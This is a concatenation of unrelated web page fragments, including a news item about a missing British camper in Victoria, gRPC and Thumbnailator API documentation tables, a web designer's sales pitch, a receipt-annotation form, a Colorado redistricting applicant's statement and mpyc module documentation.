I'll get back to you as soon as possible! This form uses reCAPTCHA, so be aware that you may be redirected after submitting. Thanks to Formspree for providing an easy way to email on this site.


British man missing in Australian bushland
Aslan King was camping with friends near Princetown, Victoria.
A 25-year-old Briton has gone missing in the Australian bush, according to local police.
Aslan King, 25, was camping with friends near Princetown, Victoria, when he hit his head at around 2am local time on Saturday.
He reportedly got up suddenly and ran from the camping area into surrounding bushland.
His friends searched but were unable to find him.
He is described as medium build with short dark hair. He was wearing a grey tracksuit and hoodie and may have blood on his forehead.
The Foreign Office said in a statement: “Our staff are seeking further information following the disappearance of a British man near Princetown, Australia and are in contact with the Australian police.”


| Interface | Description |
|---|---|
| Buffer |
Interface for an abstract byte buffer.
|
| ClientStream |
Extension of
Stream to support client-side termination semantics. |
| ClientStreamListener |
An observer of client-side stream events.
|
| ClientTransport |
The client-side transport encapsulating a single connection to a remote server.
|
| ClientTransport.Listener |
Receives notifications for the transport life-cycle events.
|
| ClientTransportFactory |
Pre-configured factory for creating
ClientTransport instances. |
| MessageDeframer.Listener |
A listener of deframing events.
|
| MessageFramer.Sink<T> |
Sink implemented by the transport layer to receive frames and forward them to their destination
|
| ServerListener |
A listener to a server for transport creation events.
|
| ServerStream |
Extension of
Stream to support server-side termination semantics. |
| ServerStreamListener |
An observer of server-side stream events.
|
| ServerTransportListener |
A observer of a server-side transport for stream creation events.
|
| Stream |
A single stream of communication between two end-points within a transport.
|
| StreamListener |
An observer of
Stream events. |
| Class | Description |
|---|---|
| AbstractBuffer |
Abstract base class for
Buffer implementations. |
| AbstractClientStream<IdT> |
The abstract base class for
ClientStream implementations. |
| AbstractServerStream<IdT> |
Abstract base class for
ServerStream implementations. |
| AbstractStream<IdT> |
Abstract base class for
Stream implementations. |
| Buffers |
Utility methods for creating
Buffer instances. |
| CompositeBuffer | |
| ForwardingBuffer |
Base class for a wrapper around another
Buffer . |
| Http2ClientStream |
Base implementation for client streams using HTTP2 as the transport.
|
| HttpUtil |
Constants for GRPC-over-HTTP (or HTTP/2)
|
| MessageDeframer |
Deframer for GRPC frames.
|
| MessageFramer |
Encodes gRPC messages to be delivered via the transport layer which implements
MessageFramer.Sink . |
| TransportFrameUtil |
Utility functions for transport layer framing.
|
| Enum | Description |
|---|---|
| AbstractStream.Phase |
Indicates the phase of the GRPC stream in one direction.
|
| HttpUtil.Http2Error |
All error codes identified by the HTTP/2 spec.
|
| MessageDeframer.Compression | |
| MessageFramer.Compression |


Do you think the menu in the school canteen should be changed?
Thank you for taking part in the school survey.


This is a simple search engine for finding data about trainers and Pokemon in the XY and ORAS Battle Maisons.
It seems you have JavaScript disabled in your browser. Sadly, this site requires JavaScript to be enabled in order to function correctly.
Here are some instructions on how to enable JavaScript in your web browser.
Enter "*" for the trainer name to get every set for the given Pokemon.
Click on a result to toggle a highlight!


welcome guest!
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Here comes the sun..
read more..
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{% extends "base.html" %} {% block title %}{{ _('Account Recovery') }} — {{ service_name }}{% endblock %} {% block content %}
{{ _('Enter your email address to receive an email to reset your password.') }}


You have finished the user study. You are free to continue using the software. However, your responses will not be recorded for the study. Thank you for participating and please remember to fill out the post-study survey.
{% load staticfiles %}
You have finished the user study. You are free to continue using the software. However, your responses will not be recorded for the study. Thank you for participating and please remember to fill out the post-study survey.


| Package | Description |
|---|---|
| net.coobird.thumbnailator |
This package contains classes which provide the core functionalities of
Thumbnailator.
|
| net.coobird.thumbnailator.builders |
This package provides classes which provides convenient builders for classes
which are used by Thumbnailator.
|
| net.coobird.thumbnailator.filters |
This package provides classes which perform filtering operations on images,
such as adding watermark, text captions, and color tints.
|
| net.coobird.thumbnailator.geometry |
This package contains classes used to specify positioning of watermarks and
other objects in Thumbnailator.
|
| net.coobird.thumbnailator.makers |
This package provides classes which can be used to make thumbnails given
parameters to create the images.
|
| net.coobird.thumbnailator.name |
This package contains classes used to generate file names when saving
thumbnail images to files.
|
| net.coobird.thumbnailator.resizers |
This package provides classes which perform image resizing operations which
is used to create thumbnails with Thumbnailator.
|
| net.coobird.thumbnailator.resizers.configurations |
This package provides enums which are used to set rendering hints used when
using
Resizers to create
thumbnails. |
| net.coobird.thumbnailator.tasks |
This package provides classes which perform image input and output
operations, which can be used to aid in creating and writing thumbnails
to and from external sources.
|
| net.coobird.thumbnailator.tasks.io |
This package provides classes which perform image input and output
operations in conjunction with the
SourceSinkThumbnailTask class. |
| net.coobird.thumbnailator.util |
This package contains utilities classes used by Thumbnailator.
|
| net.coobird.thumbnailator.util.exif |
This package contains utilities classes used to handle Exif metadata.
|
Copyright © 2015. All rights reserved.


Why do you need a website?
It's 2017 and everybody has a smartphone in there pocket. Don't lose out to competitors because that can't access your business through their smartphone. My website looks beautiful, try resizing this page!
We aren't robots, we need sleep. Your website will be available day and night. And that can earn you more money!
With a website, customers will know that you are a legitimate business. I can provide you with the edge you need to separate from your competitors.
What is the process of making a website?
Please send me a message with a rough idea of what kind of website you want. I will send you a reply the same business day. It will involve more questions and I will give you a quote for the cost of the website
I will work hard to deliver you a beautiful website. I will keep you updated on the progress made. I require 50% of the payment paid up front and 50% paid when you are satisfied with the final product.
Technologies Employed for your website!
Published Websites
Originating from NJ, I earned my B.A. at LaSalle University in 2011. This is when I found my interest in coding. After graduating, I took a computer job that would challenge my understanding and capabilities.
I'm always trying to challenge myself so I decided to start learning web design in 2014. With no assistance, I learned HTML and CSS to launch my very own custom Wedding website.
With 2 years of developing under my belt, I feel like I possess the knowledge and understanding to create a beautiful, responsive website for you!


We have best plans for your basic needs.
Basic plans for security camera installation and computer labs sets are.
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| Type : DVR |
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Computer Lab
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| System : Core2Duo |
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Security
CCTV Camera & Installation
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Computer labs, work station and network
Furniture
For school and office, Variety of designs and types
Construction
Building Construction & Maintenance


Look at the receipt below and extract the information described above. Click on the image to see the full size image (in new window)
Total Amount: (tax and tip included)
Total People: (if more than one)
Currency:
Location: (format: city, country)
Year:
Month:
Day:
Hour: (eg: 16)
Venue Name: (when applicable)
Credit Card: (when applicable)
Unreadable:
Unreadable
Please provide any comments you may have below, we appreciate your input!


Charles L Coughlin
Democrat
Software Engineer - ILS Automation
BS - Applied Math and Engineering Physics - University of Wisconsin MS - Computer Science - Illinois Institute of Technology
80227
I am a volunteer classroom assistant at the Emily Griffith Technical College ESL program for newly arrived refugees.
I have not made donations to candidates or political parties.
I am a volunteer with All On The Line, an organization dedicated to the production of fair maps and an accessible redistricting process.
I firmly believe that a strong democracy requires the election process to be fair and transparent. I am proud that Colorado is held as a positive example for the entire country and I want to make sure that this process succeeds for us. Besides, redistricting is a fascinating multi-dimension optimization problem. I believe that I can contribute in perhaps unique ways.
I believe discussion among committee members will be less contentious if the primary focus is on the definition of what is "fair" followed by concentration on the processes, algorithms, and metrics to get there. As an engineer, I have often found myself in the role of fact-gatherer prior to important decision-making. I would promote use of tools that provide a factual, numerical basis for plan evaluations. Mathematics is non-partisan.
After surveying current tools for comparison of competing redistricting plans and finding none freely available, I wrote one. "PlanAnalyzer" is a desktop computer application that analyzes redistricting plans for fairness, comparing them under a variety of different metrics. Whether or not this tool will be ever useful in a production setting, it was invaluable to me as a learning device. I now have considerable insight into the trade-offs and competing goals inherent in the redistricting process. My application, by the way, is open-source, available to anyone at https://github.com/chuckcoughlin/redistrict-colorado. Documentation is available on the site and as an attachment to this application.
Male


| mpyc.random | index github.com/lschoe/mpyc/blob/v0.9/mpyc/random.py |
This module provides secure versions of several functions for
generating pseudorandom numbers, cf. the random module of Python's
standard library. Each function behaves like its Python counterpart,
except that a secure type is required as additional (first) argument.
Additionally, random_unit_vector() generates a random bit vector
with exactly one bit set to 1, using approximately log_2 n secure
random bits for a bit vector of length n.
Also, random_permutation() and random_derangement() are provided as
convenience functions.
Main concern for the implementations is to minimize the randomness
complexity, that is, to limit the usage of secure random bits as
provided by runtime.random_bits(). Other than this, the code is
relatively simple for now.
NB: runtime._random(sectype, n) cannot be used as an alternative to
_randbelow(sectype, n) as its output is not uniformly random, except
when n is equal to the order of sectype's finite field.
| Modules | ||||||
|
| Functions | ||
|
| Data | ||
| runtime = None |